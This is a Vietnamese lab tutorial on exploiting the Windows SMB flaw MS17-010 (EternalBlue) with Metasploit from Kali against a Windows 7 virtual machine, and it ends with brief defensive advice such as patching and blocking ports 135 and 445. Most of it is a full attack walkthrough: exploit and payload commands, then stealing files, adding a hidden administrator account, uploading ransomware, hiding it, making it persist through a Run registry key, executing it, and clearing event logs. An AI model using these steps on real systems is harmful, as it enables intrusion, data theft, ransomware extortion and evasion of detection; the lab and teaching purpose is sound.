LAB: TẤN CÔNG HỆ ĐIỀU HÀNH WINDOWS DỰA VÀO LỖ HỔNG GIAO THỨC SMB.

3693

I. MÔ TẢ        

  • Trong bài lab ta sẽ sử dụng hai máy tính để mô phỏng một cuộc tấn công dựa vào lỗ hổng trong giao thức SMB của Hệ điều hành Windows. Một máy chạy HĐH Kali Linux, đóng vai trò kẻ tấn công (hacker). Và một máy tính đóng vai trò là máy nạn nhân (victim). Máy victim đang chạy Hệ điều hành Windows 7 64 bit có chứa lỗ hổng SMB. Để làm được điều này, trên máy Kali Linux ta sẽ sử dụng mã khai thác có tên là EternalBlue để tấn công vào máy Windows 7.
  • Video Youtube: https://www.youtube.com/watch?v=aLu5_SRDJiw&feature=youtu.be

II. GIỚI THIỆU CHUNG

  • Server Message Block (SMB) là một giao thức chia sẻ file khá phổ biến trên nền tảng Windows của Microsoft. Nhờ vào giao thức SMB này mà các máy tính Windows kết nối với nhau trong cùng một lớp mạng hay trong cùng một Domain có thể chia sẻ file được với nhau. Cho đến nay, SMB còn có tên gọi khác là Common Internet File Sharing (CIFS).
  • EternalBlue là một mã khai thác thông tin, dựa vào lỗ hổng của giao thức SMB thông qua cổng 445. Ban đầu, EternalBlue được phát triển bởi Cục An Ninh Quốc Gia Hoa Kỳ (NSA). Tên đầy đủ tiếng Anh là U.S. National Security Agency. Nhưng sau đó, nó bị rò rỉ bởi nhóm Hacker The Shadow Brokens vào năm 2017. Cũng trong cùng năm đó. Một đợt tấn công quy mô lớn của Virus mã hoá dữ liệu – Ransomware, nhằm vào các máy tính chạy Windows của Microsoft, diễn ra trên toàn thế giới. Trong đó, nổi tiếng nhất vẫn là virus WannaCry . Cho đến nay mặc dù lỗ hổng này đã được vá bởi Microsoft bằng bản cập nhật bảo mật MS17-010. Tuy nhiên, trên thế giới một số lượng lớn máy tính đang chạy Hệ điều hành Windows vẫn còn tồn tại lỗ hổng này. Lỗ hổng này được công bố trong CVE-2017-0144. (Windows SMB Remote Code Execution Vulnerability). Lỗ hổng này vô cùng nguy hiểm và rất dễ dàng bị khai thác. Điều đáng nói là để tấn công qua lỗ hổng giao thức SMB này. Hacker không cần phải gởi hay lừa cho nạn nhân tải về hoặc chạy bất kì một virus độc hại nào đó. Tức là nạn nhân cho dù không làm gì cả nhưng vẫn bị hacker dễ dàng tấn công chiếm quyền điều khiển máy tính mà không hề hay biết.

III. CHUẨN BỊ

  • Chuẩn bị 02 máy ảo chạy trên phần mềm VMware Workstation. Máy ảo Kali Linux (máy hacker) có địa chỉ IP là: 192.168.2.10 và máy ảo Windows 7 (máy victim) có địa chỉ IP là: 192.168.2.13

  1. > Trên máy ảo Kali: Đăng nhập vào Kali bằng tài khoản Root.
  • Kiểm tra IP bằng lệnh: # ifconfig

  • Tiến hành khởi chạy dịch vụ Postgresql: # service postgresql start
  • Kiểm tra postgresql đã chạy hay chưa ta dùng lệnh: # service postgresql status.

  1. > Trên máy ảo Windows 7: Mở Command Prompt gõ ipconfig để xem IP.

Tắt tường lửa (Firewall).

IV. THỰC HIỆN TẤN CÔNG.

* Trên máy Kali: Đăng nhập vào Metasploit bằng câu lệnh: # msfconsole

  • Khi đã vào được Metasploit ta tìm kiếm những lỗi cũng như các cú pháp liên quan đến ms17_010 bằng lệnh: # search ms17_010

Tiếp tục dùng lệnh: # use auxiliary/scanner/smb/smb_ms17_010

Gõ lệnh options để xem các tuỳ chọn.

  • Cuối cùng! Ta set RHOST máy muốn check. Ở đây là máy victim nên ta set như sau: # set rhosts 192.168.2.13. Sau đó, gõ lệnh: # run để tiến hành kiểm tra xem máy victim có dính lỗi hay không.

  • Như hình trên thì máy victim có tồn tại lỗ hổng có thể khai thác được. Ta chú ý dòng chữ “Host is likely VULNERABLE to MS17-010!” được đánh dấu.
  • Dùng exploit sau để khai thác: # use exploit/windows/smb/ms17_010_eternalblue

  • Tiếp tục # set rhosts 192.168.2.13. Sau đó, ta thiết lập payload để khai thác: # set payload windows/x64/meterpreter/bind_tcp
  • Cuối cùng chạy lệnh: # exploit để bắt đầu tấn công.

  • Khi exploit thành công ta sẽ thấy một session đã được mở tương tự như hình bên dưới. (Meterpreter session 1 opened (192.168.2.10:34683 -> 192.168.2.13:4444).

  • Đến đây xem như hacker đã thành công xâm nhập vào máy victim. Lúc này, hacker có thể xoá, ăn cắp file từ máy nạn nhân mà họ không hề hay biết. Thậm chí, hacker có thể upload và chạy virus trực tiếp trên đó.
  • Bên dưới là một vài ví dụ cụ thể sau khi đã exploit thành công vào máy nạn nhân. Để xem cú pháp các lệnh mà Metasploit hỗ trợ exploit ta gõ dấu ? rồi nhấn enter.

– Bên dưới là một số ví dụ sau khi hacker đã xâm nhập thành công vào máy nạn nhân.

  • Xem thông tin về hệ thống của victim: # sysinfo

  • Xem danh sách các ổ đĩa được mount trên máy victim: # show_mount

Kiểm tra trên máy victim.

  • Xem danh sách file và folder tại đường dẫn gốc ổ C: # dir C:\

  • Tương tự # dir D:\

Kiểm tra trên máy victim.

  • Lấy file từ máy nạn nhân và lưu ở ngoài Desktop: # download “D:\Exam_Nguyen Minh Dao.docx” /root/Desktop

  • Chụp ảnh màn hình của victim: # screenshot

Kết quả.

  • Tạo một tài khoản mới trên máy victim và thêm tài khoản này vào nhóm Administrator.

– Ví dụ: Ta tạo một tài khoản tên minhdao với password tương ứng là Minhdao123. Sau đó gán tài khoản minhdao này vào nhóm Admin. Đầu tiên ta chuyển sang chế độ shell. Lúc này, con trỏ từ meterpreter > sẽ chuyển sang C:\Windows\system32>. Ở chế độ này, hacker có thể thực hiện các câu lệnh trên Command Prompt (CMD) như trên máy local. (Để quay lại meterpreter > ta chỉ cần gõ lệnh exit).

– Gõ lệnh # net user để xem tài khoản người dùng đang có trên máy victim. Như hình dưới ta thấy máy nạn nhân có một tài khoản admin thuộc nhóm Administrator.

– Tiếp tục dùng 02 lệnh sau để tạo tài khoản người dùng mới:

# net user minhdao Minhdao123 /add
# net localgroup administrators minhdao /add

Kết quả.

  • Upload và chạy virus lên máy victim.
  1. > Upload virus: # upload /root/Desktop/ransomware.exe C:/Windows

* Lưu ý: Lúc này ta đang ở chế độ exploit của Metasploit. ( meterpreter > )

Check thử bên máy victim.

  1. > Gán thuộc tính ẩn (Hidden), chỉ đọc (Read-only) và hệ thống (Systems) cho virus.

– Gõ # shell sau đó gõ: # attrib +R +S +H C:\Windows\ransomware.exe

Hình sau khi gán thuộc tính.

  1. > Tạo một khoá khởi động trong Registry. VD: test

# reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d C:\Windows\ransomware.exe

Kiểm tra Registry bên máy victim thấy khoá đã tạo thành công.

  • Chạy trực tiếp virus hoặc file exe, bat… từ máy victim.

– Ví dụ ta chạy file virus mã hoá file ransomware.exe vừa upload sang máy nạn nhân lúc trước tại đường dẫn: C:\Windows. (Ta thực hiện câu lệnh start ở chế độ shell).

# start /B C:\Windows\ransomware.exe

Dữ liệu bên máy nạn nhân đã bị mã hoá khi chạy virus.

Thư mục Documents ở ổ đĩa D:\Documents.

  • Xoá log của hệ thống.

– Thông thường Windows sẽ ghi lại nhật kí, sự kiện mỗi khi có sự thay đổi nào đó. Vì vậy khi hacker tấn công họ sẽ cố tình xoá log nhằm tránh bị phát hiện. Để xoá log máy victim ta dùng lệnh: # clearev ở môi trường exploit của Metasploit.

Log của Windows trên máy victim trước khi xoá.

Sau khi xoá log bằng lệnh # clearev

V. CÁCH PHÒNG CHỐNG.

– Để tránh bị khai thác và lợi dụng giao thức SMB. Ta cần thực hiện một số công việc sau:

  • Kích hoạt tường lửa (Firewall).

  • Cập nhật Windows lên bản mới nhất. Hoặc tải và cập nhập các bản vá bảo mật của Microsoft. Nhất là bản vá bảo mật ms17_010.

  • Tắt hoặc vô hiệu hoá giao thức SMB.

  • Chặn các port 135, 445.
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_Cong_445"

  • Kiểm tra trong Firewall.